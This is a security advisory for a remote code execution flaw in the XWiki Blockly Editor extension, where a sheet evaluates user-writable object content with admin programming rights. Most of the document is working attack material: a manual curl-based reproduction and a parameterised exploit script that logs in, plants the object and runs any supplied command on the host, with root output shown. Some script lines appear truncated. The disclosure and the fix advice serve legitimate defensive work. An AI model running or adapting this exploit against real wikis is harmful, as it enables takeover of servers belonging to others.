Summary Blockly.Code.BlocklyExecuteCodeSheet is an admin-authored sheet whose entire body is:
{{velocity}}
#evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)
{{/velocity}}
- $doc is the document the sheet is rendering against (the target doc, attacker-controlled).
- getProperty('content').value reads the user-stored value of the content field of an xobject of class Blockly.Code.BlocklyClass.
- #evaluate(...) evaluates that string as Velocity, in the sheet author's (xwiki:XWiki.Admin) PROGRAM context.
Therefore any registered user with EDIT on a page they own can:
- Add a Blockly.Code.BlocklyClass xobject to their page,
- Place arbitrary Velocity (e.g. $xwiki.parseGroovy("...")) in the content field,
- Cause the sheet to render against their page: either via auto-binding (XWiki.SheetClass xobject pointing to Blockly.Code.BlocklyExecuteCodeSheet) or by appending ?sheet=Blockly.Code.BlocklyExecuteCodeSheet to their own page URL,
- The Velocity from content is executed with admin's PROGRAM rights -> RCE.
Affected products Jira project: Blockly Editor Package: org.xwiki.contrib:application-blockly-ui Source repository: xwiki-contrib/application-blockly Affected version: 0.8, confirmed dynamically on XWiki 18.6.0 Preconditions Required attacker level: registered + EDIT on a single page (own user space: default). Admin interaction: none. Technical details File and line application-blockly-ui/src/main/resources/Blockly/Code/BlocklyExecuteCodeSheet.xml
<author>xwiki:XWiki.Admin</author>
<contentAuthor>xwiki:XWiki.Admin</contentAuthor>
...
<content>
{{velocity}}
#evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)
{{/velocity}}
</content>
Why a low-privileged user can plant the xobject
- Blockly.Code.BlocklyClass is a public XClass installed by the contrib extension. No XWikiRights restriction is added at install time.
- By XWiki defaults, every registered user has EDIT on their user-space pages and can attach any existing XClass xobject to a page they own.
- The class's content field is declared as a generic TextArea/string (the value is treated as Velocity only on the rendering path).
Why no admin interaction is needed
- The ?sheet=... URL parameter on ViewAction lets the attacker apply any sheet they have VIEW access to. Blockly.Code.BlocklyExecuteCodeSheet is hidden but VIEW-readable to registered users by default.
- Alternatively the attacker can plant an XWiki.SheetClass xobject on their own page that binds Blockly.Code.BlocklyExecuteCodeSheet automatically.
- In either case, the attacker is the one rendering the page: no admin/other-user is involved.
Root cause #evaluate is called on the value of an xobject field that any non-privileged user can write. There is no PROGRAM-rights check on the content's author, no Required-Rights enforcement on the field, and no whitelisting of the xobject's source page. Manual proof of concept Preconditions
- XWiki 18.6.0 is available at http://127.0.0.1:8888.
- Blockly Editor org.xwiki.contrib:application-blockly-ui version 0.9 is installed.
- The attacker account is cve:cve1234 and has EDIT but no SCRIPT, PROGRAM, or ADMIN right.

- Every command below targets the authorized local lab.
Manual terminal reproduction Execute each step separately. This makes the account, authorization boundary, object creation, and vulnerable trigger visible before running the automated version. 1. Log in as the low-privileged account
BASE='http://127.0.0.1:8888'
USER_NAME='cve'
USER_PASSWORD='cve1234'
WORK=$(mktemp -d /tmp/blockly-manual.XXXXXX)
COOKIE="$WORK/cookies.txt"
PAGE="BlocklyIdProof$(date +%s)"
CONTROL_PAGE="BlocklyRightsControl$(date +%s)"
curl -sS -c "$COOKIE" -b "$COOKIE" \
"$BASE/bin/login/XWiki/XWikiLogin" \
-o "$WORK/login.html"
LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
"$WORK/login.html" | head -n1)
curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
"$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
--data-urlencode "j_username=$USER_NAME" \
--data-urlencode "j_password=$USER_PASSWORD" \
--data-urlencode "form_token=$LOGIN_TOKEN" \
-o /dev/null
2. Verify the identity and absence of administrator access
curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
grep -o 'data-xwiki-user-reference="[^"]*"' "$WORK/main.html" | head -n1
curl -sS -b "$COOKIE" -o /dev/null -w 'Global administration HTTP: %{http_code}\n' \
"$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin"
Expected output:
data-xwiki-user-reference="xwiki:XWiki.cve"
Global administration HTTP: 403
3. Negative control: direct Groovy must be rejected
curl -fsS -b "$COOKIE" \
"$BASE/bin/edit/Sandbox/$CONTROL_PAGE?editor=wiki" \
-o "$WORK/control-edit.html"
FORM_TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
"$WORK/control-edit.html" | head -n1)
CONTROL_CONTENT='{{groovy}}
println("DIRECT-GROOVY-SHOULD-NOT-RUN")
{{/groovy}}'
curl -fsS -b "$COOKIE" -X POST \
"$BASE/bin/save/Sandbox/$CONTROL_PAGE" \
--data-urlencode "content=$CONTROL_CONTENT" \
--data-urlencode 'syntaxId=xwiki/2.1' \
--data-urlencode "form_token=$FORM_TOKEN" \
--data-urlencode 'action_save=Save' \
-o /dev/null
curl -fsS -b "$COOKIE" \
"$BASE/bin/view/Sandbox/$CONTROL_PAGE" \
-o "$WORK/control.html"
grep -o 'Failed to execute the \[groovy\] macro[^<]*' "$WORK/control.html" | head -n1
! grep -q 'DIRECT-GROOVY-SHOULD-NOT-RUN' "$WORK/control.html"
Expected result: XWiki rejects the direct Groovy macro and the marker is absent. 4. Create the attacker-owned page
curl -fsS -b "$COOKIE" \
"$BASE/bin/edit/Sandbox/$PAGE?editor=wiki" \
-o "$WORK/edit.html"
FORM_TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
"$WORK/edit.html" | head -n1)
curl -fsS -b "$COOKIE" -X POST \
"$BASE/bin/save/Sandbox/$PAGE" \
--data-urlencode 'content=Blockly low-user id proof' \
--data-urlencode 'syntaxId=xwiki/2.1' \
--data-urlencode "form_token=$FORM_TOKEN" \
--data-urlencode 'action_save=Save' \
-o /dev/null
5. Add the malicious Blockly object The XML below creates Blockly.Code.BlocklyClass and places the payload in its content property. The payload executes /usr/bin/id and prefixes the returned output with BLOCKLY-RCE-.
read -r -d '' BLOCKLY_XML <<'EOF' || true
<object xmlns="http://www.xwiki.org">
<className>Blockly.Code.BlocklyClass</className>
<property name="content">
<value>$proof</value>
</property>
</object>
EOF
curl -sS -b "$COOKIE" -X POST \
-H 'Content-Type: application/xml' \
--data-binary "$BLOCKLY_XML" \
"$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE/objects" \
-o "$WORK/object.xml" \
-w 'Object creation HTTP: %{http_code}\n'
Expected result:
Object creation HTTP: 201
6. Trigger the privileged Blockly sheet
curl -fsS -b "$COOKIE" \
"$BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" \
-o "$WORK/result.html"
grep -o 'BLOCKLY-RCE-[^<]*' "$WORK/result.html" | head -n1
echo "PoC page: $BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet"
echo "Evidence directory: $WORK"
Confirmed output in the local lab:
BLOCKLY-RCE-uid=0(root) gid=0(root) groups=0(root)
The same cve session receives HTTP 403 for global administration and cannot execute a direct Groovy macro, but the Blockly sheet executes the attacker-controlled object value in the privileged sheet context. Automated proof of concept The following script performs the same sequence and stops if the identity, authorization checks, object creation, or /usr/bin/id result differs from the expected value.
set -euo pipefail
usage()
{
cat <<'EOF'
Usage:
./exploit.sh -url <base_url> -u <username> -p <password> -c <command>
Example:
./exploit.sh -url http://127.0.0.1:8888 -u cve -p cve1234 -c id
EOF
}
BASE=''
USER_NAME=''
USER_PASSWORD=''
COMMAND=''
while [[ $ case "$1" in
-url|--url)
[[ $ BASE=$2
shift 2
;;
-u|--username)
[[ $ USER_NAME=$2
shift 2
;;
-p|--password)
[[ $ USER_PASSWORD=$2
shift 2
;;
-c|--command)
[[ $ COMMAND=$2
shift 2
;;
-h|--help)
usage
exit 0
;;
*)
echo "Unknown argument: $1" >&2
usage >&2
exit 2
;;
esac
done
if [[ -z "$BASE" || -z "$USER_NAME" || -z "$USER_PASSWORD" || -z "$COMMAND" ]]; then
usage >&2
exit 2
fi
BASE=${BASE%/}
WORK=$(mktemp -d /tmp/blockly-automated.XXXXXX)
COOKIE="$WORK/cookies.txt"
SUFFIX=$(date +%s%N)
PAGE="BlocklyCommandProof${SUFFIX}"
CONTROL_PAGE="BlocklyRightsControl${SUFFIX}"
CLASS_NAME="CVEBlocklyCommandProof${SUFFIX}"
COMMAND_B64=$(printf '%s' "$COMMAND" | base64 -w0)
echo '[1/6] Logging in'
curl -sS -c "$COOKIE" -b "$COOKIE" \
"$BASE/bin/login/XWiki/XWikiLogin" -o "$WORK/login.html"
LOGIN_TOKEN=$(sed -n 's/.*name="form_token"[^>]*value="\([^"]*\)".*/\1/p' \
"$WORK/login.html" | head -n1)
[[ -n "$LOGIN_TOKEN" ]]
curl -fsS -c "$COOKIE" -b "$COOKIE" -X POST \
"$BASE/bin/loginsubmit/XWiki/XWikiLogin" \
--data-urlencode "j_username=$USER_NAME" \
--data-urlencode "j_password=$USER_PASSWORD" \
--data-urlencode "form_token=$LOGIN_TOKEN" -o /dev/null
curl -fsS -b "$COOKIE" "$BASE/bin/view/Main/WebHome" -o "$WORK/main.html"
grep -q "data-xwiki-user-reference=\"xwiki:XWiki.${USER_NAME}\"" "$WORK/main.html"
echo "Authenticated identity: XWiki.$USER_NAME"
echo '[2/6] Verifying lack of global administration access'
ADMIN_CODE=$(curl -sS -b "$COOKIE" -o /dev/null -w '%{http_code}' \
"$BASE/bin/admin/XWiki/XWikiPreferences?editor=globaladmin")
echo "Global administration HTTP: $ADMIN_CODE"
[[ "$ADMIN_CODE" == 403 ]]
echo '[3/6] Verifying that direct Groovy is blocked'
curl -fsS -b "$COOKIE" "$BASE/bin/edit/Sandbox/$CONTROL_PAGE?editor=wiki" \
-o "$WORK/control-edit.html"
TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
"$WORK/control-edit.html" | head -n1)
[[ -n "$TOKEN" ]]
CONTROL_CONTENT='{{groovy}}
println("DIRECT-GROOVY-SHOULD-NOT-RUN")
{{/groovy}}'
curl -fsS -b "$COOKIE" -X POST "$BASE/bin/save/Sandbox/$CONTROL_PAGE" \
--data-urlencode "content=$CONTROL_CONTENT" \
--data-urlencode 'syntaxId=xwiki/2.1' \
--data-urlencode "form_token=$TOKEN" \
--data-urlencode 'action_save=Save' -o /dev/null
curl -fsS -b "$COOKIE" "$BASE/bin/view/Sandbox/$CONTROL_PAGE" -o "$WORK/control.html"
! grep -q 'DIRECT-GROOVY-SHOULD-NOT-RUN' "$WORK/control.html"
echo 'Direct Groovy control: blocked'
echo '[4/6] Creating the attacker-owned page'
curl -fsS -b "$COOKIE" "$BASE/bin/edit/Sandbox/$PAGE?editor=wiki" -o "$WORK/edit.html"
TOKEN=$(sed -n 's/.*data-xwiki-form-token="\([^"]*\)".*/\1/p' \
"$WORK/edit.html" | head -n1)
[[ -n "$TOKEN" ]]
curl -fsS -b "$COOKIE" -X POST "$BASE/bin/save/Sandbox/$PAGE" \
--data-urlencode 'content=Blockly automated command proof' \
--data-urlencode 'syntaxId=xwiki/2.1' \
--data-urlencode "form_token=$TOKEN" \
--data-urlencode 'action_save=Save' -o /dev/null
read -r -d '' BLOCKLY_PAYLOAD <<'EOF' || true
$proof
EOF
BLOCKLY_PAYLOAD=${BLOCKLY_PAYLOAD/__CLASS_NAME__/$CLASS_NAME}
BLOCKLY_PAYLOAD=${BLOCKLY_PAYLOAD/__COMMAND_B64__/$COMMAND_B64}
read -r -d '' BLOCKLY_XML <<EOF || true
<object xmlns="http://www.xwiki.org">
<className>Blockly.Code.BlocklyClass</className>
<property name="content"><value>$BLOCKLY_PAYLOAD</value></property>
</object>
EOF
echo '[5/6] Adding the attacker-controlled Blockly object'
OBJECT_CODE=$(curl -sS -b "$COOKIE" -X POST \
-H 'Content-Type: application/xml' \
--data-binary "$BLOCKLY_XML" \
"$BASE/rest/wikis/xwiki/spaces/Sandbox/pages/$PAGE/objects" \
-o "$WORK/object.xml" -w '%{http_code}')
echo "Object creation HTTP: $OBJECT_CODE"
[[ "$OBJECT_CODE" == 201 ]]
echo '[6/6] Triggering the privileged sheet'
curl -fsS -b "$COOKIE" \
"$BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet" \
-o "$WORK/result.html"
MARKER=$(grep -o 'BLOCKLY-RCE-B64-[A-Za-z0-9+/=]*' "$WORK/result.html" | head -n1)
[[ -n "$MARKER" ]]
OUTPUT_B64=${MARKER
echo '----- command output -----'
printf '%s' "$OUTPUT_B64" | base64 -d
echo '----- end command output -----'
echo "PoC page: $BASE/bin/view/Sandbox/$PAGE?sheet=Blockly.Code.BlocklyExecuteCodeSheet"
echo "Evidence directory: $WORK"
 Impact Any registered user with EDIT access to one page can execute arbitrary JVM code with the permissions of the XWiki process. This compromises the confidentiality, integrity, and availability of the wiki and host resources available to the service account. The attacker triggers the vulnerable sheet directly; no administrator or other victim is needed. Severity Severity: High: RCE under sheet author's PROGRAM context. CVSS 4.0: 8.7: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Weaknesses
- CWE-94: Improper Control of Generation of Code
- CWE-863: Incorrect Authorization
Suggested remediation
- Verify the xobject's content author has PROGRAM before #evaluate-ing the field:
#set ($contentAuthor = $doc.getObject('Blockly.Code.BlocklyClass').contentAuthor)
#if ($services.security.authorization.hasAccess('programming', $contentAuthor, $doc.documentReference))
#evaluate($doc.getObject('Blockly.Code.BlocklyClass').getProperty('content').value)
#end
- Better: do not #evaluate user content at all. Render it as text or use a sandboxed transformation.
- Add a RequiredRightsClassDocumentRequirement for Blockly.Code.BlocklyClass so the platform Required-Rights analyzer rejects low-privilege saves of pages with this xobject.
Evidence
- Low-privileged XWiki.cve identity and global-administration HTTP 403:

- Direct Groovy negative control showing that the same account cannot execute scripts normally:

- Creation of the Blockly.Code.BlocklyClass object with HTTP 201:

- Vulnerable sheet response containing BLOCKLY-RCE-uid=0(root) gid=0(root) groups=0(root):
 
|